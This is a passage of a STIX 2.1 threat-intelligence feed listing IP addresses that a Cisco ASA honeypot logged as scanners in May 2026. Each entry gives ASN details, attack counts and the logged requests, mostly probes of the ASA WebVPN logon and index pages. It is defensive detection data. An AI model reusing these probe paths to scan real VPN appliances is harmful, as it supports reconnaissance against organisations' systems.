      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '156.229.244.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T23:20:10.000Z",
      "valid_until": "2026-06-28T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T23:09:54.804Z",
          "last_seen": "2026-05-29T20:15:41.082Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-27T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--7f462ad4-6eee-4db2-b540-dec5db113123",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.120.164.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T23:20:10.000Z",
      "valid_until": "2026-06-28T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T22:59:02.202Z",
          "last_seen": "2026-05-27T22:59:17.255Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-28T00:20:50.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--7c00d257-2741-4b25-a681-cc6bc9a80203",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '141.133.4.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:20:50.000Z",
      "valid_until": "2026-06-29T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-28T00:03:32.215Z",
          "last_seen": "2026-05-30T09:50:39.700Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-28T00:20:50.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--967c425f-2e18-4682-b785-5e7749d09c11",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.110.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:20:50.000Z",
      "valid_until": "2026-06-29T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T23:43:45.952Z",
          "last_seen": "2026-05-29T17:32:06.604Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-28T00:20:50.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--63ea46d2-3553-4ddf-9d51-b6437d0b6799",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.43.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:20:50.000Z",
      "valid_until": "2026-06-29T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T23:40:12.311Z",
          "last_seen": "2026-05-27T23:40:28.500Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-28T00:20:50.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--680f03b4-d180-4f63-ac18-0cccb610a882",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.212.102.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:20:50.000Z",
      "valid_until": "2026-06-29T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 21,
          "first_seen": "2026-05-28T00:14:37.843Z",
          "last_seen": "2026-05-30T14:22:17.054Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-28T00:20:50.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--8ee98756-a4ad-4605-9f34-c30d22167cd5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '156.229.246.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:20:50.000Z",
      "valid_until": "2026-06-29T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T23:57:11.974Z",
          "last_seen": "2026-05-27T23:57:28.231Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-28T00:20:50.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--eea9043a-8a19-4a7a-a5e5-eabfe3e34c49",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.1.254.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:20:50.000Z",
      "valid_until": "2026-06-29T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-28T00:08:09.837Z",
          "last_seen": "2026-05-29T10:34:42.727Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-28T00:20:50.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--965393ad-879a-4415-adca-06e64024e59a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '31.222.247.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:20:50.000Z",
      "valid_until": "2026-06-29T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-27T23:38:23.825Z",
          "last_seen": "2026-05-30T12:54:42.552Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-28T00:20:50.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--5fc2e2fb-d6a9-47bd-8ab1-d613e5f4faa8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.159.127.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:20:50.000Z",
      "valid_until": "2026-06-29T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-27T23:33:17.355Z",
          "last_seen": "2026-05-27T23:33:27.250Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-28T00:20:50.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--fb0316d4-f669-4a8e-83ab-8f27817f55fa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.192.37.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:20:50.000Z",
      "valid_until": "2026-06-29T00:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-27T02:49:15.154Z",
          "last_seen": "2026-05-29T11:12:39.220Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-28T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /robots.txt HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--bbafbd18-f68f-4f7d-85df-53f5861fce62",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '100.53.194.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T01:20:05.000Z",
      "valid_until": "2026-06-29T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-28T01:00:37.145Z",
          "last_seen": "2026-05-28T01:00:37.145Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /robots.txt HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-28T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--a1cd9e6f-98e1-42b4-979c-bb87060cc81e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.255.186.28']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T01:20:05.000Z",
      "valid_until": "2026-06-29T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-28T00:53:38.722Z",
          "last_seen": "2026-05-29T02:39:03.546Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-28T01:20:05.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--7cd5aee5-31cb-44cd-864f-c1c3fa0ee996",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '98.81.205.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T01:20:05.000Z",
      "valid_until": "2026-06-29T01:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-28T01:00:42.015Z",
          "last_seen": "2026-05-28T01:00:45.017Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14987 (Rethem Hosting LLC)",
      "id": "indicator--f6a151cd-b000-479d-b7d4-95ad20815b5a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T01:20:10.000Z",
      "valid_until": "2026-06-30T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 1,
          "first_seen": "2026-05-29T00:53:17.048Z",
          "last_seen": "2026-05-29T00:53:17.048Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14987,
          "as_org": "Rethem Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 204957 (Green Floid LLC)",
      "id": "indicator--ba32056b-8702-4df8-bc03-9bf646628838",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '153.80.19.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T01:20:10.000Z",
      "valid_until": "2026-06-30T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T01:01:56.244Z",
          "last_seen": "2026-05-29T01:02:09.249Z",
          "country": "United States",
          "country_code": "US",
          "asn": 204957,
          "as_org": "Green Floid LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T01:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--2c0ee3a7-ef5e-42c6-b22f-ef20e6e22a5d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.252.110.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T01:20:10.000Z",
      "valid_until": "2026-06-30T01:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T01:02:43.427Z",
          "last_seen": "2026-05-29T01:02:57.363Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--d68b5fdc-9fcb-4128-8ddb-2e4b476c2058",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.111.253.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T02:20:13.000Z",
      "valid_until": "2026-06-30T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 7,
          "first_seen": "2026-05-29T01:32:05.960Z",
          "last_seen": "2026-05-29T01:32:18.578Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US",
      "id": "indicator--3fb31766-1780-4f61-b23a-34abc0d6b9c7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.252.59.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T02:20:13.000Z",
      "valid_until": "2026-06-30T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 65,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 14,
          "first_seen": "2026-05-29T01:33:11.316Z",
          "last_seen": "2026-05-29T23:04:27.742Z",
          "country": "United States",
          "country_code": "US",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 62240 (Clouvider Limited)",
      "id": "indicator--454fe54d-2b3f-43c6-be30-1a5e4305df55",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '166.1.196.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-29T02:20:13.000Z",
      "valid_until": "2026-06-30T02:20:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 28,
          "first_seen": "2026-05-29T02:16:52.303Z",
          "last_seen": "2026-05-30T14:57:21.581Z",
          "country": "United States",
          "country_code": "US",
          "asn": 62240,
          "as_org": "Clouvider Limited",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-29T02:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/user/creation HTTP/1.1\" 404 - geo: LU; ASN 214472 (Offshore LC)",
      "id": "indicator--13056a26-aa5a-4f1c-8f0c-51112815b0f4",
      "labels": [
        "scanning_host",
